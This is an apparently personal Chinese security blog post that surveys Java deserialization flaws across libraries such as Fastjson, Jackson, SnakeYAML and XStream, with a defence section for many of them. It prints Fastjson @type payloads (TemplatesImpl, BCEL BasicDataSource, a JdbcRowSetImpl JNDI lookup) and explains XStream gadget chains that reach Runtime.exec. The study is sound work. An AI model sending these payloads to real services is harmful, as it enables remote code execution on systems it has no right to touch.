Java反序列化之一摩尔组件

Published: 2022年07月09日

In Vuln.

最近工作又遇到爪哇了,碰到两个不熟悉的序列化组件,白猪大哥说marshalsec里有写,边学边弄搞定了周末决定好好补习一下。


慢慢记,这里面很多还没见到过就留个坑以后遇到再补充...


查表

组件 反序列化接口
Fastjson [JSON].parseObject
Jackson [mapper].readValue
YamlBeans [reader].read()
SnakeYaml [yaml].load/[yaml].loadAll
JYaml Yaml.loadType
ApacheFlexBlazeDS deserializer.readMessage
Red5IOAMF in.readObject/...
Castor [unmarshaller].unmarshal
JavaXMLDecoder [d].readObject
Java Builtin readObject/readExternal
Json-io [JsonReader].jsonToJava
Hessian readObject
Kryo [kryo].readClassAndObject/readObjectOrNull/readObject
Xstream [xstream].fromXML

Bean Property Based Marshallers

基于Bean属性的编组器基本就是通过访问器触发...

Fastjson

反序列化触发点

这是阿里开源的库,据说速度炒鸡快,一般使用如下方法进行状态转换:

public abstract class JSON implements JSONStreamAware, JSONAware {
    public static <T> T parseObject(String text, Class<T> clazz);   // 当指定Class时,转换为对应的对象
    public static JSONObject parseObject(String text);  // 未指定Class时转换为JSONObject对象
    public static Object parse(String text);  // 转换为实际对象,这里
    public static String toJSONString(Object object, SerializerFeature... features);  // 将对象转换为json字符串
    ...  // 还有很多方法与很多重载
}

其实一般对某对象序列化后,它就是个Json格式的字符串,不含任何类信息,因此除非在反序列化时指定类型,否则返回的就是JSONObject(还有作为对象的属性可进行一定程度的推测),要解析为具体类的对象还有种方法,就是使用@type字段,它相当于特殊指令指示当前JSONObject实际上指向什么类,因此我们可以通过该字段反序列化任意对象,关键是怎么触发漏洞!

Fastjson在反序列化对象时可分为两种情况,原始或通用类型与自定义类型的反序列化,前者它实现了反序列化器(见com.alibaba.fastjson.parser.deserializer),而后者它使用ASM动态生成反序列化器并缓存,这是由createJavaBeanDeserializer实现的,这里有个关键词Bean,Fastjson在反序列化为生成的对象实例赋值时不是直接使用反射,而是优先使用setter,不存在时再考虑使用反射,但是显然此时仍然有些特殊类型不应该直接反射赋值,而应该先使用getter获取对象再修改该对象,这类包括Collection/Map/Atomic等类型,而序列化时也是优先使用getter,不存在时才直接取值,这里反序列化的settergetter就相当于原生反序列化的readObject,但在继续前先转换下利用面,反序列化时只有特殊类型的属性在不存在setter时会调用getter,而序列化时所有的getter都会调用,因此思路是触发序列化逻辑,首先看parseObject

    public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        if (obj instanceof JSONObject) {
            return (JSONObject)obj;
        } else {
            try {
                return (JSONObject)toJSON(obj);  // 序列化啦
            } catch (RuntimeException var3) {
                throw new JSONException("can not cast to JSONObject.", var3);
            }
        }
    }

可见如果是parseObject(String text)可以直接触发序列化逻辑,而不是呢,大佬们发现当键是Json时会将再其转换为字符串(key.toString=>key.toJSONString),现在能实现所有getter与setter调用了,再对比原生序列化不会序列化属性的域,而fastjson在使用反射时默认不会为私有属性赋值,需要指定Feature.SupportNonPublicField特性...

利用链

fastjson的入口不再是找readObject了,而是parse/parseObject,而利用链上fastjson也更直接,就是找settergetter,似乎现在setter的还没找到,getter的倒有一些,如TemplatesImpl

public final class TemplatesImpl implements Templates, Serializable {
    public synchronized Properties getOutputProperties() {
        try {
            return this.newTransformer().getOutputProperties();  // this.newTransformer()触发自定义恶意类初始化
    ...

可惜这里面很多属性都是private的且无setter,因此基本无法利用,不过有个类似的BasicDataSource,它是tomcat数据库连接池里的,有个getConnection方法,尽管并不是connection的getter但是它符合getter的特征(公共&无参&实例方法&有返回...)因此也被调用,它里面用BCEL去加载用户自定义类,且用了forName(默认初始化)!除此之外,也是fastjson最常见的利用方式是配合jndi注入,如com.sun.rowset.JdbcRowSetImplautoCommitsetter可触发lookup且其参数可控。

// TemplatesImpl
{
  "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes":["yv66vgAAADM ··· 省略 ··· CAB0="],  // private
  '_name':'a.b',
  '_tfactory':{ },
  "_outputProperties":{ }
}
// BasicDataSource
{
  "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
  "driverClassLoader" :
  {
    "@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"
  },
  "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$···省略···bb$C$A$A"
}
// JdbcRowSetImpl
{
  "@type":"com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName":"rmi://localhost:1097/Object",
  "autoCommit":true
}

防御

修补就是围绕着@type展开的,要么不让用它,要么白加黑名单,详见[0],挖掘时直接看fastjson版本,去maven厂库里看看[1]有没有已知漏洞...

参考

[0] 浅谈fastjson反序列化漏洞 -- wh1t3p1g

[1] maven Fastjson1 Compatible

Jackson

Jackson能实现Java对象与多种数据形式(YAML/JSON/XML等)间的转换,在反序列化时它默认是不会解析任意类的,为了处理多态它可以全局使用enableDefaultTyping()方法激活,或者要处理的类使用了@JsonTypeInfo(use=CLASS/MINIMAL_CLASS)注解[0]。和Fastjson类似,它也使用黑名单来过滤已知的危险类[3],因此如果版本太新可能得自己找gadget。

在审计时,它通常有三部分jackson-core(核心)/jackson-annotations(注解)/jackson-databind(数据绑定),通常都是用的最后的,它依赖前两者,看版本号时需要注意。

参考

[0] Jackson 反序列化汇总 -- l1nk3r (2019)

[1] Jackson-Databind - A Story of Blacklisting Java Deserialization Gadgets -- Gal_Goldshtein (2018)

[2] Jackson Deserialization Vulnerabilities -- Robert C. Seacord (2018)

[3] On Jackson CVEs: Don’t Panic — Here is what you need to know -- cowtowncoder (2017)

YamlBeans

它需要一个默认构造器(不必public),它也会尝试调setter但是通过对象的属性去找对应的setter所以一些假的没法调了,说的就是你JdbcRowset

防御

可以指定root class但是这不会被使用(检查),而它有些选项可限制不能使用非public构造器等。

参考

[0] Github YamlBeans 文档

SnakeYAML

它直接调用public的构造器,利用很直观!

防御

// 指定root class,但是里面嵌套的属性不会有类型检查
Yaml yaml = new Yaml(new Constructor(Invoice.class));
// 指定安全构造器不允许反序列化自定义类
Yaml yaml = new Yaml(new SafeConstructor());

jYAML

这个项目已经废弃了,它需要public默认构造器,反序列化时会触发访问器。

防御

可指定root class但是不会被检查,没官方的防御机制。

Apache Flex BlazeDS

反序列化目标需要有public默认构造器和public的访问器...

防御

没法指定root class也不检查嵌套属性类型,但是支持白名单机制DeserializationValidator,且从4.7.3后默认白名单。

参考

[0] AMF – Another Malicious Format

Red5 IO AMF

类似AFBDS...

Castor

XML编解组工具,目标需要一个public默认构造器,反序列化时先恢复原始类型再恢复Object类型,依然是会触发访问器,而且可触发一些额外的访问器addXYZ/creatXYZ...

防御

可指定root class但是不会被检查,没官方的防御机制。

参考

[0] Castor XML frameworkIntroduction

Java XMLDecoder

可以调用任意方法,所以永远不要使用,遇到就是赚到!

Field Based Marshallers

基于域的编组器不必调用访问器,但是有时状态无法简单的反序列化,此时就需要调用一些特殊的方法从而触发漏洞...

Java Builtin Serialization

Java内建的反序列化,详见之前的文章。

Json-io

它可进行json<->object间转换,被转换的类不必实现Serializable / Externalizable,不必有public构造器,可恢复private域,不保存但可恢复transient,它使用默认构造器,不存在则依次尝试其他构造器(使用空类型参数)直到构造成功,集合的恢复次序不确定需要仔细构造。

参考

[0] github json-io

Hessian/Burlap

它是跨语言的RPC协议,由caucho开发,基于HTTP协议传输数据(解析POST BODY),协议规范分为两部分:RPC规范与序列化规范[1,2],它们有两个版本格式并不一样需要注意,推荐先看这篇[0] Hessian2.0的规范。

参考

[0] Hessian 2.0 序列化协议(中文版) -- D瓜哥 (2022)

[1] hessian 1.0.2 specification

[2] Hessian 2.0 Web Services Protocol

kryo

它是序列化工具,使用的是自定义的二进制规范,它默认情况下只能反序列化有无参构造器的类,但在修改实例化策略后,可反序列化更多类,如使用它自带的StdInstantiatorStrategy策略后,就不再有这个限制 [1]。触发流程也是看赋值过程中触发到一些函数(如hashCode)[0],在要反序列化任意类时,需要看它的代码里是否使用了readClassAndObject或指定类的域(及子域)里有非具体类[2],若存在方可被反序列化。

参考

[0] 从Kryo反序列化到Marshalsec框架到CVE挖掘 -- Jayway (2020)

[1] https://github.com/EsotericSoftware/kryo

[2] Serialization Must Die--Security issues and problems with serialization of random objects -- Arshan Dabirsiaghi (2016)

XStream

反序列化触发点

XStream是常见的XML与Object互转库,一般使用如下方法进行转换:

public class XStream {
    public String toXML(Object obj);  // 序列化为XML字符串
    public Object fromXML(String xml);  // 反序列化为对象
    // ... 同FastJson,会有很多重载...
}

不像FastJson序列化后的数据本身不带类名,XML这种格式本身就能携带更多数据,于是这里理所应当的带了类名,XStream的内部实现见"XStream 源码解析",这里直接贴作者的图,如下,简单的说一个反序列化过程会先从Mapper根据XML里的类名找到对应的类,再由ConverterLookup去找到能对该类进行反序列化的转换类,由转换类实现对应类对象的反序列化,这里它使用反射的方式为属性赋值:

img

它没有像原生序列化那种自动执行readObject的机制,也没有Fastjson自动调用getter/setter机制,但是在反序列化特殊结构时还是会触发一些行为,这里面包括TreeSet/TreeMap/PriorityQueue的比较键值(compareTo),HashSet/HashMap的比较键值(equals/及后续转换...),因此在这里可以继续利用,而且它不像原生序列化需要实现Serialization接口或fastjson需要非私有属性...

利用方式

利用动态代理,这里有两个Handler,一个是JDK自带的EventHandler,如下可以扔个对象进去,并且指定方法名,在invoke时会将参数给指定的方法并调用:

public class EventHandler implements InvocationHandler {
    private Object target;  // 调用方法的对象,如Runtime对象
    private String action;  // 要调用的方法名,如Runtime的exec
    private final String eventPropertyName;
    private final String listenerMethodName;

    public Object invoke(final Object proxy, final Method method, final Object[] arguments) {
        return invokeInternal(proxy, method, arguments);
    }
    private Object invokeInternal(Object proxy, Method method, Object[] arguments) {
        String methodName = method.getName();
        if (method.getDeclaringClass() == Object.class)  { 
            ... // hashCode equals toString => RETURN
        }
        if (eventPropertyName == null) {     // 这里是无参的情形
             Class[] argTypes = new Object[]{};
             Object[] newArgs = new Class<?>[]{};
        }
        else {
            Object input = applyGetters(arguments[0], getEventPropertyName());  // TODO:这里还没分析...
            Class[] argTypes = new Object[]{input};
            Object[] newArgs = new Class<?>[]{input == null ? null : input.getClass()};
        }
        try {
            int lastDot = action.lastIndexOf('.');
            if (lastDot != -1) {
                target = applyGetters(target, action.substring(0, lastDot));
                action = action.substring(lastDot + 1);
            }
            Method targetMethod = Statement.getMethod(target.getClass(), action, argTypes);  // 根据方法名和参数类型获取方法
            return MethodUtil.invoke(targetMethod, target, newArgs);  // 调用方法
        }
    }
}

另一个是Groovy里的,Groovy是基于JVM的一种动态语言,它有个很好的特性闭包,这里就是利用MethodClosureConvertedClosure两个闭包,前者把对象和方法封装在一起作为一个对象,后者继承InvocationHandler并使用其他闭包作为delegate,因此它们能组合在一起:

// 方法闭包可以把一个对象实例和方法组合,通过doCall调用
public class MethodClosure extends Closure {
    private Object owner;   // 要执行方法的对象,如Runtime对象,ProcessBuilder对象,JdbcRowSetImpl对象
    private String method;  // 最终要执行的方法名,和上面对应的是exec(String), start(), getDatabaseMetaData()方法
    ...
    public MethodClosure(Object owner, String method);   
    protected Object doCall(Object arguments) {  // 注意这里method的参数类型需要与下面invoke劫持的方法的参数一致,如劫持hashCode()由于没有参数只能使用start()/getDatabaseMetaData()等没有参数的方式
        return InvokerHelper.invokeMethod(this.getOwner(), this.method, arguments); 
    }
}
// 转换闭包
public class ConvertedClosure extends ConversionHandler implements Serializable {
    private String methodName;  // 动态代理里希望劫持的方法,如annotationInvocationHandler里的entrySet,HashMap里的compareTo
    public ConvertedClosure(Closure closure, String method);
    public Object invokeCustom(Object proxy, Method method, Object[] args) throws Throwable {
        return this.methodName != null && !this.methodName.equals(method.getName()) ? null : ((Closure)this.getDelegate()).call(args);  // 调用的方法名和methodName一致,则派遣给delegate的call
    }
}
// ConversionHandler继承InvocationHandler,它的invoke
public abstract class ConversionHandler implements InvocationHandler, Serializable {
    private Object delegate;
    public ConversionHandler(Object delegate);
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        ...
        if (!this.checkMethod(method)) {  // 这里的方法不能是Object的方法,如hashCode equals toString
            return this.invokeCustom(proxy, method, args);  // 调用到子类的invokeCustom
        }}  
}

在这里同样是利用compareTo方法,当TreeSet的第一个是ConvertedClosure代理的对象时,它执行compareTo将会触发这里的链...

注:这两个利用链放在这里不是指仅XStream可用,只是刚好遇到了,显然它和CC链差不多,只要其它方式还原出它(如在原生序列化时都是可序列化的)且能触发到动态代理的invoke即可!

防御

防御就是限制能反序列化的类,1.4.7之前完全没保护,1.4.7开始加入黑白名单,且默认是黑名单,此时已经不能用EventHandler了,但还可以找漏过的类去利用,在1.4.18开始默认为白名单了[2],挖掘时可根据版本到官方安全页[0]去查看配置是否安全。

参考

[0] Xstream Security Aspects -- xstream

[1] 回顾XStream反序列化漏洞 -- wh1t3p1g

[2] Xstream Change History -- stream